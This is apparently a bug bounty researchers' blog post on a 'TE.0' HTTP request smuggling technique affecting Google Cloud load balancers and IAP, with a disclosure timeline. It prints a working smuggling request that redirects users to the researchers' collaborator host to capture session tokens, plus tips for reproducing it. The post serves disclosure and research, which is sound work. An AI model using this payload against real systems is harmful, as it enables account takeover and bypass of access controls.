This blog post is a written collaborative effort by Paolo Arnolfo (@sw33tLie), a hacking enthusiast passionate about server-side vulnerabilities; Guillermo Gregorio (@bsysop), a dad superhero and skilled hacker; and █████ (@_medusa_1_), a stealthy genius. Working together, they are bringing you insights into a novel class of HTTP Request Smuggling vulnerabilities and their latest findings.

A while ago, we were discussing with a friend the security benefits of hosting an entire infrastructure on the cloud. His company had just transitioned from self-hosted to fully cloud-based, and he was enthusiastic.

While this blog post is not meant to argue against cloud hosting, funny enough, on that same day, our team hacked a bug bounty target using a novel HTTP Request Smuggling vector, part of a new smuggling class.

We later discovered we had a powerful exploit affecting thousands of Google Cloud-hosted websites that were using their Load Balancer.

Due to the widespread use of the GCP Load Balancer and the multiple tech stacks connected to it, we were able to compromise a large variety of services, including Identity-Aware Proxy (IAP).

We achieved critical impact for virtually every vulnerable host that we manually inspected.

Introducing: TE.0 HTTP Request Smuggling

One thing we know for sure is that HTTP Request Smuggling is still everywhere and massively under-researched. This has been suggested multiple times on X by various security researchers, such as James Kettle:

Finding new attack vectors can be an exciting journey. It often relies on creativity, study, and luck.

We believe the two best ways to come up with new payloads are:

While http-garden is excellent for testing publicly available HTTP servers like nginx or Apache because it runs locally on your computer, it can’t reliably test the tech stacks used by cloud providers. These may be heavily customized or entirely unique.

The only option left is to spread out our novel payloads over as many targets as possible. In practice, this means sending them to a list of bug bounty and/or vulnerability disclosure programs. This is effective because we’re legally allowed to hack on these and they provide us a massive attack surface.

The quickest way to generate a scope to hack on is to use our own bbscope tool. For example, after installing the tool, you could run this command to fetch all BBP & VDP scope from Bugcrowd and save them in the bugcrowd-scope.txt file:

bbscope bc -E "your_bugcrowd_email" -P "your_bugcrowd_password" -o u | tee bugcrowd-scope.txt

After some manual cleaning, you’ll end up with a list of URLs and wildcard root domains. By running subdomain enumeration tools on the wildcard root domains, you’ll quickly generate a comprehensive list of subdomains to perform research on.

The idea

After experimenting with several new ideas and payloads, we made a significant observation.

The documented types of HTTP/1.1 smuggling found on the internet include:

  • CL.TE: The front-end server uses the Content-Length header, and the back-end server uses the Transfer-Encoding header.
  • TE.CL: The front-end server uses the Transfer-Encoding header, and the back-end server uses the Content-Length header.
  • TE.TE: Both the front-end and back-end servers support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
  • CL.0: The back-end ignores the Content-Length header (which is treated as 0), but the front-end parses it.

However, we eventually asked ourselves this question: why is there no TE.0? Essentially, it could function in the same way as the CL.0 variant but using Transfer-Encoding instead.

The TE.0 PoC

After numerous attempts, we identified a TE.0 smuggling on the main API of one of the world’s largest banks. We were then able to leak the session tokens of logged-in users with a payload similar to this one:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

By sending this request multiple times using null payloads in Burp Suite Intruder, we were effectively redirecting live users to our own collaborator server. Conveniently, this also had the side-effect of sending us the users’ session token. This means we were able to perform a mass 0-click account takeover:

A wider discovery

Later, we scanned more broadly for this new smuggling payload and received thousands of hits from our bug bounty programs.

We noticed that all the vulnerable targets appeared to be hosted on Google Cloud. Some had the classic Via: 1.1 google response header, while others were protected by Google IAP (Identity-Aware Proxy) authentication and returned the Invalid IAP credentials: empty token message when accessed without a valid session token:

It took us some time to figure out which component was vulnerable. Thanks to the investigation via an affected company, we discovered the issue was within Google Cloud’s Load Balancer.

Interestingly, not all GCP hosts we scanned were vulnerable, but a significant number were. This was because the GCP load balancer had to be configured to default to HTTP/1.1 instead of HTTP/2.

However, it turned out many of them were still defaulting to the old version of the HTTP protocol — thousands of them, in fact.

Google IAP and Zero Trust

Given that many of the affected hosts were protected by Google IAP, it’s important to explain its core concepts and how they relate to Zero Trust security.

Google IAP is a security service provided by Google Cloud Platform that controls access to web applications and resources. It ensures that only authenticated and authorized users can access these resources by verifying their identity and enforcing access policies based on user identity and group membership. Essentially, it acts as a gatekeeper, protecting applications from unauthorized access by sitting between the user and the application.

Zero Trust is a security model that requires strict identity verification for every user and device attempting to access resources, regardless of their location (inside or outside the network). The core principle is “never trust, always verify,” meaning continuous authentication, least privilege access, and constant monitoring are essential to its approach.

Google IAP operates in alignment with Zero Trust principles by:

  1. Authenticating Users: Ensuring that users are authenticated via their Google account or another identity provider.
  2. Authorizing Access: Enforcing access policies based on user identity and group membership.
  3. Controlling Access: Only allowing requests from authenticated and authorized users to reach the application or resource.

This means that before a user can access a protected application, they must first pass through IAP, which checks their credentials and permissions.

Ref.: https://cloud.google.com/iap/docs/concepts-overview#app-engine

When Google IAP is behind the Google Load Balancer, and the latter is affected by request smuggling, all the robust security measures mentioned above become ineffective. We can bypass the authorization without user interaction, undermining the entire security model of the application and potentially exposing sensitive data and resources.

Different exploitation techniques

The TE.0 PoC we presented earlier achieves a site-wide redirect to an attacker-controlled domain. This often has a critical impact by itself, but it’s not always the case.

When manually testing some of our new hits, we discovered that this type of redirection was not always effective and did not have a significant security impact.

However, those websites could still be exploited by leveraging application-specific gadgets, essentially achieving critical impact every time.

All the techniques used to exploit other types of smuggling attacks can also work with TE.0 smuggling attacks. If you’re unfamiliar, we recommend reading more here.

TE.0 testing tips

Here are some things one should consider when testing for TE.0 smugglings according to our own experience:

  • The chunk length — in our case having a value of 50 — has to be a hex number according to HTTP/1.1 RFC. Make sure the size is correct and not expressed in decimal format.
  • After the final 0, which ends the last chunk in the request, you need two empty lines.
  • Make sure and disable automatic content length adjustments so the Content-Length header won’t be added before the PoC request is sent.
  • Experiment with different HTTP methods. The exploit we showcased in this blog post only worked with the OPTIONS method, as it was failing both with GET and POST.

Reporting to Google

After realizing this issue was affecting Google Cloud, we reported it to Google directly. Because the company we initially reported this to had already opened a separate ticket with Google, our report was handled in a rather unusual way.

However, after some back and forth, we were able to get Google to acknowledge our work, and they apologized for mishandling the report.

We understand how it can be challenging to connect the dots in such cases, and we are overall grateful for the final outcome. 

Disclosure timeline

  • 2024.04.22: Reported to a bug bounty program
  • 2024.04.23: Reported to Google
  • 2024.04.24: Triaged by Google
  • 2024.04.25: Google closed the report as they could not reproduce it. We informed them that we knew it had been fixed and asked them to check again.
  • 2024.04.29: Google informed us they did not fix the issue and still couldn’t reproduce it. We provided more evidence and asked the team to reconsider.
  • 2024.05.02: Google reopened the report, acknowledging that this was indeed an issue they had fixed after receiving a separate customer ticket.
  • Google rewarded us with a bounty of $8,500.

Conclusion

What started out as curiosity about novel HTTP request smuggling techniques led to an in-depth investigation and a substantial payout. After extensive research and numerous failed attempts, we finally uncovered this vulnerability, demonstrating the power of persistence and creative thinking.

Don’t hesitate to dive deep into your interests—you never know where it might lead.For questions or to follow our journey as hackers, connect with us on X: @sw33tLie @bsysop @_medusa_1_

Tags: